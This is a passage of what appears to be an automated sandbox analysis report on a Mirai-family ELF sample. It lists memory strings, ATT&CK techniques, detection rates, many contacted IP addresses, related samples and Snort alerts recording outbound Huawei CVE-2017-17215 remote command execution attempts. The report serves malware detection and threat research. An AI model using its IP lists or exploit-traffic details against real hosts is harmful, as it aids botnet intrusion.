5602.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5605.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5613.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5615.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-ppc
Source: mu3Tajj6Po.elf, 5706.1.00007f5ce0033000.00007f5ce0240000.rw-.sdmp	Binary or memory string: /var/lib/vmware
Source: mu3Tajj6Po.elf, 5544.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5546.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5548.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5554.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5556.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5558.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5564.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5566.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5592.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5594.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5599.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5602.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5605.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5613.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5615.1.00005583929af000.0000558392a5f000.rw-.sdmp, mu3Tajj6Po.elf, 5620.1.00005583929af000.0000558392a5f000.rw-.sdmp	Binary or memory string: !/etc/qemu-binfmt/ppc1/var/lib/ubuntu-drivers-common1/tmp/snap-private-tmp/snap.lxd/tmp!hotpluggableq/tmp/systemd-private-d76496b72bf2487abe78ff63f093d446-systemd-timedated.service-3HBiRf/tmp
Source: mu3Tajj6Po.elf, 5706.1.00005583929af000.0000558392a5f000.rw-.sdmp	Binary or memory string: !/var/lib/vmware/VGAuth!/var/lib/plymouth1/var/cache/private/fwupdmgr/fwupd
Source: mu3Tajj6Po.elf, 5706.1.00007f5ce0033000.00007f5ce0240000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth
Source: mu3Tajj6Po.elf, 5706.1.00005583929af000.0000558392a5f000.rw-.sdmp	Binary or memory string: /tmp/vmware-root_724-2965906890
Source: mu3Tajj6Po.elf, 5522.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5544.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5546.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5548.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5554.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5556.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5558.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5564.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5566.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5592.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5594.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5599.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5602.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5605.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5613.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp, mu3Tajj6Po.elf, 5615.1.00007fffcb4ab000.00007fffcb4cc000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-ppc/tmp/mu3Tajj6Po.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mu3Tajj6Po.elf
Source: mu3Tajj6Po.elf, 5706.1.00007f5ce0023000.00007f5ce0033000.rw-.sdmp	Binary or memory string: $/tmp/vmware-root_724-2965906890
Source: mu3Tajj6Po.elf, 5706.1.00007f5ce0033000.00007f5ce0240000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAutht
Source: mu3Tajj6Po.elf, 5706.1.00005583929af000.0000558392a5f000.rw-.sdmp	Binary or memory string: /var/lib/vmware/VGAuth/aliasStore
Source: mu3Tajj6Po.elf, 5706.1.00007f5ce0033000.00007f5ce0240000.rw-.sdmp	Binary or memory string: 8/var/lib/vmware
Source: mu3Tajj6Po.elf, 5706.1.00005583929af000.0000558392a5f000.rw-.sdmp	Binary or memory string: /ppc/tmp/vmware-root_724-2965906890

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	11 Indicator Removal	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Obfuscated Files or Information	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
mu3Tajj6Po.elf	42%	ReversingLabs	Linux.Trojan.Mirai
mu3Tajj6Po.elf	100%	Avira	EXP/ELF.Agent.Gen.F

Name	Source	Malicious	Reputation
http://upx.sf.net	mu3Tajj6Po.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	mu3Tajj6Po.elf, 5659.1.00007f5ce0010000.00007f5ce0013000.rwx.sdmp	false	high
http://schemas.xmlsoap.org/soap/envelope/	mu3Tajj6Po.elf, 5659.1.00007f5ce0010000.00007f5ce0013000.rwx.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.35.69.8	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.82.136.126	unknown	South Africa	10474	OPTINETZA	false
197.4.30.35	unknown	Tunisia	5438	ATI-TN	false
157.86.23.68	unknown	Brazil	21612	FUNDACAOINSTITUTOOSWALDOCRUZBR	false
157.240.50.11	unknown	United States	32934	FACEBOOKUS	false
197.51.240.185	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.66.131.249	unknown	South Africa	16637	MTNNS-ASZA	false
197.213.1.149	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
41.15.20.25	unknown	South Africa	29975	VODACOM-ZA	false
197.193.220.26	unknown	Egypt	36992	ETISALAT-MISREG	false
197.169.172.186	unknown	South Africa	37168	CELL-CZA	false
197.101.181.250	unknown	South Africa	3741	ISZA	false
181.142.90.197	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
157.21.250.153	unknown	United States	53446	EVMSUS	false
197.249.194.116	unknown	Mozambique	25139	TVCABO-ASEU	false
59.212.169.70	unknown	China	2516	KDDIKDDICORPORATIONJP	false
157.225.246.176	unknown	United States	54231	UNASSIGNED	false
157.126.150.114	unknown	United States	1738	OKOBANK-ASEU	false
41.71.222.34	unknown	Nigeria	37053	RSAWEB-ASZA	false
197.222.169.245	unknown	Egypt	37069	MOBINILEG	false
197.255.209.178	unknown	Nigeria	37200	SIMBANET-NIGERIANG	false
157.228.219.7	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
157.0.158.207	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.60.6.64	unknown	Egypt	8452	TE-ASTE-ASEG	false
172.63.40.44	unknown	United States	393494	L3TV-ASUS	false
41.27.15.22	unknown	South Africa	29975	VODACOM-ZA	false
157.69.76.176	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
208.126.154.150	unknown	United States	18883	FIBERNET-NETWORK-OPERATIONS-CENTERUS	false
157.73.172.243	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
35.7.112.108	unknown	United States	36375	UMICH-AS-5US	false
157.24.20.232	unknown	Finland	1741	FUNETASFI	false
155.78.112.216	unknown	United States	4010	DNIC-AS-04010US	false
41.195.126.233	unknown	South Africa	16637	MTNNS-ASZA	false
41.25.211.105	unknown	South Africa	36994	Vodacom-VBZA	false
197.60.6.51	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.164.24.137	unknown	South Africa	36937	Neotel-ASZA	false
124.222.117.206	unknown	China	45361	JCN-AS-KRUlsanJung-AngBroadcastingNetworkKR	false
131.217.74.209	unknown	Australia	7573	UTASTheUniversityofTasmaniaAU	false
197.153.36.40	unknown	Morocco	36925	ASMediMA	false
157.159.2.175	unknown	France	2094	FR-TELECOM-MANAGEMENT-SUDPARISTelecomManagementSudPari	false
157.159.2.48	unknown	France	2094	FR-TELECOM-MANAGEMENT-SUDPARISTelecomManagementSudPari	false
196.19.248.131	unknown	Seychelles	134451	NME-INDONESIA-AS-APNewMediaExpressPteLtdID	false
54.72.82.155	unknown	United States	16509	AMAZON-02US	false
157.153.115.141	unknown	United States	719	ELISA-ASHelsinkiFinlandEU	false
157.74.27.51	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
41.83.144.214	unknown	Senegal	8346	SONATEL-ASAutonomousSystemEU	false
39.106.109.78	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
41.205.129.200	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
123.25.106.172	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
41.206.243.189	unknown	unknown	36974	AFNET-ASCI	false
150.216.41.198	unknown	United States	10952	ECU-ASUS	false
4.231.226.17	unknown	United States	3356	LEVEL3US	false
157.222.228.84	unknown	United States	4704	SANNETRakutenMobileIncJP	false
197.90.74.42	unknown	South Africa	10474	OPTINETZA	false
197.8.191.128	unknown	Tunisia	5438	ATI-TN	false
41.128.184.215	unknown	Egypt	24863	LINKdotNET-ASEG	false
197.26.67.216	unknown	Tunisia	37671	GLOBALNET-ASTN	false
48.112.200.79	unknown	United States	2686	ATGS-MMD-ASUS	false
197.86.54.168	unknown	South Africa	10474	OPTINETZA	false
157.143.192.2	unknown	United States	16922	OUHSC-EDUUS	false
39.14.3.241	unknown	Taiwan; Republic of China (ROC)	9674	FET-TWFarEastToneTelecommunicationCoLtdTW	false
208.253.35.152	unknown	United States	4208	THE-ISERV-COMPANYUS	false
41.239.218.85	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.74.76.55	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
197.254.144.43	unknown	Lesotho	37057	VODACOM-LESOTHOLS	false
147.70.180.240	unknown	United States	19899	MDC-EDUUS	false
197.103.64.250	unknown	South Africa	3741	ISZA	false
197.144.115.224	unknown	Morocco	36884	MAROCCONNECTMA	false
197.245.71.192	unknown	South Africa	11845	Vox-TelecomZA	false
157.157.39.42	unknown	Iceland	6677	ICENET-AS1IS	false
197.232.204.145	unknown	Kenya	36866	JTLKE	false
197.165.92.228	unknown	Egypt	24863	LINKdotNET-ASEG	false
104.207.42.113	unknown	United States	393559	YHSRV-ASN-393559US	false
120.92.240.75	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.55.34.217	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.160.223.117	unknown	South Africa	36937	Neotel-ASZA	false
197.133.231.223	unknown	Egypt	24835	RAYA-ASEG	false
197.51.152.171	unknown	Egypt	8452	TE-ASTE-ASEG	false
146.176.23.0	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
41.97.63.175	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.121.74.195	unknown	Egypt	36992	ETISALAT-MISREG	false
191.95.180.110	unknown	Colombia	27805	EPMTelecomunicacionesSAESPCO	false
157.215.45.52	unknown	United States	4704	SANNETRakutenMobileIncJP	false
222.40.167.8	unknown	China	63711	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
41.59.97.42	unknown	Tanzania United Republic of	33765	TTCLDATATZ	false
41.84.134.111	unknown	Mauritius	30844	LIQUID-ASGB	false
176.28.40.56	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	false
160.248.184.94	unknown	Japan	2514	INFOSPHERENTTPCCommunicationsIncJP	false
41.76.243.147	unknown	Botswana	14988	BTC-GATE1BW	false
197.213.1.133	unknown	Zambia	37287	ZAIN-ZAMBIAZM	false
197.89.224.216	unknown	South Africa	10474	OPTINETZA	false
154.109.4.211	unknown	Tunisia	37693	TUNISIANATN	false
19.146.54.159	unknown	United States	3	MIT-GATEWAYSUS	false
157.14.224.44	unknown	Japan	2519	VECTANTARTERIANetworksCorporationJP	false
41.177.92.84	unknown	South Africa	36874	CybersmartZA	false
88.108.41.43	unknown	United Kingdom	9105	TISCALI-UKTalkTalkCommunicationsLimitedGB	false
212.153.36.128	unknown	Netherlands	702	UUNETUS	false
125.89.158.56	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
41.233.156.17	unknown	Egypt	8452	TE-ASTE-ASEG	false
157.5.74.156	unknown	unknown	7671	MCNETNTTSmartConnectCorporationJP	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.15.20.25	N8yhlxPSOf.elf	Get hash	malicious	Mirai	Browse
41.15.20.25	Ro8Lsl4vd5	Get hash	malicious	Mirai	Browse
197.193.220.26	BiE3iG96NL	Get hash	malicious	Mirai	Browse
197.82.136.126	yXNkcdlrUt.elf	Get hash	malicious	Mirai	Browse
	ascaris.m68k.elf	Get hash	malicious	Mirai	Browse
	RDv1U6qUU6	Get hash	malicious	Mirai	Browse
	Sht1aYGDIX	Get hash	malicious	Mirai	Browse
197.4.30.35	opOQXr0GEN.elf	Get hash	malicious	Mirai	Browse
197.4.30.35	kfAUGx3cqI.elf	Get hash	malicious	Mirai	Browse
197.169.172.186	huhu.arm7.elf	Get hash	malicious	Mirai	Browse
197.169.172.186	o2apXtf5lS	Get hash	malicious	Mirai	Browse
197.101.181.250	spNdLK5BW0.elf	Get hash	malicious	Mirai, Moobot	Browse
197.101.181.250	j9rM5v9A2g.elf	Get hash	malicious	Mirai	Browse
157.21.250.153	3SJiSVf4fz.elf	Get hash	malicious	Mirai, Moobot	Browse
197.249.194.116	66Vbw4FpYb.elf	Get hash	malicious	Mirai, Moobot	Browse
	RGOazcS8sn.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	ak.arm5-20220923-0709.elf	Get hash	malicious	Mirai	Browse
	meihao.x86	Get hash	malicious	Mirai	Browse
197.51.240.185	arm	Get hash	malicious	Mirai	Browse
197.66.131.249	UlxuhzKi38.elf	Get hash	malicious	Mirai	Browse
	lQAo0O7Og2	Get hash	malicious	Mirai	Browse
	SQP3mdo03X	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TE-ASTE-ASEG	R5MVQjQRSK.elf	Get hash	malicious	Mirai	Browse	197.61.182.132
	xsqY3IuVwf.elf	Get hash	malicious	Mirai	Browse	197.45.81.36
	8BCwJHxXOp.elf	Get hash	malicious	Mirai	Browse	41.235.75.240
	qBS5fx5Cgi.elf	Get hash	malicious	Mirai	Browse	197.47.108.248
	Il1AE04DjW.elf	Get hash	malicious	Mirai	Browse	41.32.51.107
	iz0U1RF9s6.elf	Get hash	malicious	Mirai	Browse	197.51.152.165
	COWJ55ChOf.elf	Get hash	malicious	Mirai, Moobot	Browse	41.235.194.69
	A07glf5eHQ.elf	Get hash	malicious	Mirai, Moobot	Browse	197.44.163.131
	sGGQ6sAexo.elf	Get hash	malicious	Mirai, Moobot	Browse	197.42.235.233
	Nv5HTMhJxC.elf	Get hash	malicious	Mirai	Browse	197.41.45.239
ATI-TN	R5MVQjQRSK.elf	Get hash	malicious	Mirai	Browse	197.10.137.38
	qBS5fx5Cgi.elf	Get hash	malicious	Mirai	Browse	197.11.16.182
	Il1AE04DjW.elf	Get hash	malicious	Mirai	Browse	197.8.143.229
	iz0U1RF9s6.elf	Get hash	malicious	Mirai	Browse	197.10.113.85
	COWJ55ChOf.elf	Get hash	malicious	Mirai, Moobot	Browse	197.4.200.34
	A07glf5eHQ.elf	Get hash	malicious	Mirai, Moobot	Browse	197.5.197.204
	sGGQ6sAexo.elf	Get hash	malicious	Mirai, Moobot	Browse	197.5.202.182
	kXAaauqwL4.elf	Get hash	malicious	Mirai	Browse	197.9.0.214
	aHUeWVGlcU.elf	Get hash	malicious	Mirai	Browse	197.4.29.39
	YGPDW8cL6B.elf	Get hash	malicious	Mirai	Browse	197.8.143.209
FUNDACAOINSTITUTOOSWALDOCRUZBR	huhu.arm7-20240212-0910.elf	Get hash	malicious	Mirai, Okiru	Browse	157.87.159.86
	MPpEzDMyRn.elf	Get hash	malicious	Mirai	Browse	157.86.195.211
	huhu.x86_64.elf	Get hash	malicious	Mirai	Browse	157.87.74.255
	x86-20240205-0055.elf	Get hash	malicious	Mirai, Moobot	Browse	157.87.172.49
	arm-20240205-0055.elf	Get hash	malicious	Mirai, Moobot	Browse	157.87.160.73
	huhu.arm5.elf	Get hash	malicious	Mirai	Browse	157.87.160.87
	WWIwWJ34x1.elf	Get hash	malicious	Mirai	Browse	157.87.184.55
	skyljnee.mpsl-20240128-0910.elf	Get hash	malicious	Mirai	Browse	157.86.47.24
	j1XoFnAP7V.elf	Get hash	malicious	Mirai	Browse	157.86.59.197
	JzYG7UUvd5.elf	Get hash	malicious	Mirai	Browse	157.86.195.214
OPTINETZA	R5MVQjQRSK.elf	Get hash	malicious	Mirai	Browse	197.81.28.122
	xsqY3IuVwf.elf	Get hash	malicious	Mirai	Browse	197.85.217.156
	8BCwJHxXOp.elf	Get hash	malicious	Mirai	Browse	197.81.146.252
	qBS5fx5Cgi.elf	Get hash	malicious	Mirai	Browse	197.89.73.83
	iz0U1RF9s6.elf	Get hash	malicious	Mirai	Browse	41.133.87.61
	COWJ55ChOf.elf	Get hash	malicious	Mirai, Moobot	Browse	197.90.62.46
	sGGQ6sAexo.elf	Get hash	malicious	Mirai, Moobot	Browse	41.134.112.159
	Nv5HTMhJxC.elf	Get hash	malicious	Mirai	Browse	197.81.194.152
	kXAaauqwL4.elf	Get hash	malicious	Mirai	Browse	197.89.97.46
	aHUeWVGlcU.elf	Get hash	malicious	Mirai	Browse	197.93.144.197

Process:	/usr/bin/gpg
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.0086949695628418
Encrypted:	false
SSDEEP:	3:N/3/vn:tvn
MD5:	24AA7F2D9B0A72A8ACA770FAF6DBFCB9
SHA1:	4A695EDD9FDA525C322AE30E38ADFCA23BBAC30B
SHA-256:	EA490CF1C91C3FE548862E31D788FE1A965569935B09B59DCCA5D864A739F025
SHA-512:	D904EE540DE51FD857F8681DF0892A7D36349F7E5ACA38276F51D1AF0D5813980C4426A31A73C6175321F8217623C6CFB48EA813E2982EBF315A1677A6F946C7
Malicious:	false
Reputation:	low
Preview:	5510.galassia.

/var/lib/fwupd/gnupg/.#lk0x000055970afa8b80.galassia.5508

Download File

Process:	/usr/bin/gpg
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.0086949695628418
Encrypted:	false
SSDEEP:	3:N/7HKWwvn:tHNwvn
MD5:	8617E8778F273519FCF123D638AB855F
SHA1:	118F0BCC3B39C12D6BDA1DD6142342DDB18D6342
SHA-256:	3EBD05C4EBF2A7E366920D5790B75A6A1437CB09DD6310596E030F2133D912CA
SHA-512:	83AC71ADEB888FB70066D5406073C238C768CCBDD75B6408A87D95F9950882CA22446AD7F3D380ADE4871CB9C0A6179EDBE04C85CF1514F2601EB7A593D9A79F
Malicious:	false
Reputation:	low
Preview:	5508.galassia.

/var/lib/fwupd/gnupg/.#lk0x000055be8c531b80.galassia.5504

Download File

Process:	/usr/bin/gpg
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.0086949695628418
Encrypted:	false
SSDEEP:	3:N/vChvn:J+vn
MD5:	D822AF1EC006230C50D467D70626A84A
SHA1:	EED9A3D9E023012BC6F6737FC5CB81D46F877F5C
SHA-256:	A2D50B26975DBC3DA42A3CB04313D8A2889F8C752E498119D3B7C6F868F27760
SHA-512:	804588534C455FBEB76BF34B801272E8320F8D34BA4AFB831DD7CB41C06929CD25A7BE2CCA27870FCC3B7F52C5ECB0CBE6347C968E1FDE117C28CC76E8A275FF
Malicious:	false
Reputation:	low
Preview:	5504.galassia.

/var/lib/fwupd/gnupg/.#lk0x000055ec919e3b80.galassia.5502

Download File

Process:	/usr/bin/gpg
File Type:	ASCII text
Category:	dropped
Size (bytes):	20
Entropy (8bit):	3.0086949695628418
Encrypted:	false
SSDEEP:	3:N/5HK/vn:/Hevn
MD5:	9FB337120EB04590F5F6ED8A3318DF5C
SHA1:	2B052979593B7087AE5C0EBFAC673915D9DF44FB
SHA-256:	E202F92AD47D75756D077095F61980DA6D44A720F1D6D940768AC7E511CBA8F0
SHA-512:	1D2AFE6FCDFB8E9946B6B546C7148D734B2817E015F3DA3CC689D050A59AE20BB13623699DD46AB350AECA256007AB38DD926C54140EAF3C5FB27E66982A99FF
Malicious:	false
Reputation:	low
Preview:	5502.galassia.

/var/lib/fwupd/gnupg/pubring.kbx.tmp

Download File

Process:	/usr/bin/gpg
File Type:	GPG keybox database version 1, created-at Tue Aug 17 14:04:41 2021, last-maintained Mon Feb 12 18:18:45 2024
Category:	dropped
Size (bytes):	2534
Entropy (8bit):	7.618819172797967
Encrypted:	false
SSDEEP:	48:sNZ3Buh7g8ZMUfN1i9N+EvbYJYv20hIhoRU3h0LJv9ARRt:WUc8ZM+Y+AbcoRU3CARRt
MD5:	21C6E7F57CFB5EDEFEE7ECEEAFDDFA98
SHA1:	C27DF2F3E58C99333454632E386CB30FD1B8F9A9
SHA-256:	E42638EE51324479FF1B9F8856D281D2B3842E5E7CACD1893F78EBB7A6D4C10E
SHA-512:	F0159BA87449A18A0023DB49A7315F82373D0497397160C3ED679B1A27E56BEC994820E3CC9FC5B2CA9095197FDF1E60444B7C62D7BCFAF063BAF0DC84CC7603
Malicious:	false
Reputation:	low
Preview:	... ....KBXf....a...e.a....................^........?..A..../.H...E8..... .............~............................a...........U.........T.x8.sU....K'....F....l...K....cL.`Y......=....^~.5\|.%.......2..../.h..O..T........'.6E....HV..?.6l.......e..1o.O.,Y3....1,..a4..\|..s.w......f2......gaIK..i...x.T...~..W..N."..Z..ia!..V..so.....<.6j..........3C&..t1..Gf...j..z...U.........gpg.........Linux Vendor Firmware Service <sign@fwupd.org>....gpg.........7.....!..U..................................H...E8..c....d.....d.....3....a..y..?...........l...1/...)......T.f....-..UoxT... .v...\|...7.....d..PB..>..W{...-..R....&S.....~..2.ps.8:...{..^{?..@.?..e6....y...c.Rw.SK.F.;U)...A..S> an....W.?.\|.{.dB....x~B...V....O....'./!...\|;...Xw.:.!.p,n.A.H\..\...).....gpg......z.......D<............~...$......B.Y..A...n.m...o=.... ......8>4.G8E..L...+G..Z...<.................Z............................a...........[.......I....DR:....!._.P..`.1..6.9..G....O.y.?.......

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:37192 -> 124.248.70.234:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:37192 -> 124.248.70.234:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49068 -> 77.136.156.149:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49068 -> 77.136.156.149:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:50312 -> 93.22.219.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:50312 -> 93.22.219.169:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:41496 -> 41.238.14.246:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:41496 -> 41.238.14.246:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:47730 -> 23.227.46.9:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:47730 -> 23.227.46.9:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:45068 -> 197.148.94.25:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:45068 -> 197.148.94.25:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:49130 -> 41.90.221.145:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:49130 -> 41.90.221.145:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:51390 -> 177.58.180.93:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:51390 -> 177.58.180.93:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:52726 -> 94.123.45.117:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:52726 -> 94.123.45.117:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:57376 -> 23.227.48.37:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:57376 -> 23.227.48.37:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:35020 -> 41.90.221.140:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:35020 -> 41.90.221.140:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:55088 -> 41.250.67.99:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:55088 -> 41.250.67.99:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:37820 -> 213.151.51.50:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:37820 -> 213.151.51.50:37215

Source: unknown	TCP traffic detected without corresponding DNS query: 45.155.91.135
Source: unknown	TCP traffic detected without corresponding DNS query: 41.221.8.167
Source: unknown	TCP traffic detected without corresponding DNS query: 157.245.244.54
Source: unknown	TCP traffic detected without corresponding DNS query: 41.24.103.164
Source: unknown	TCP traffic detected without corresponding DNS query: 71.176.94.19
Source: unknown	TCP traffic detected without corresponding DNS query: 157.145.189.117
Source: unknown	TCP traffic detected without corresponding DNS query: 146.9.125.197
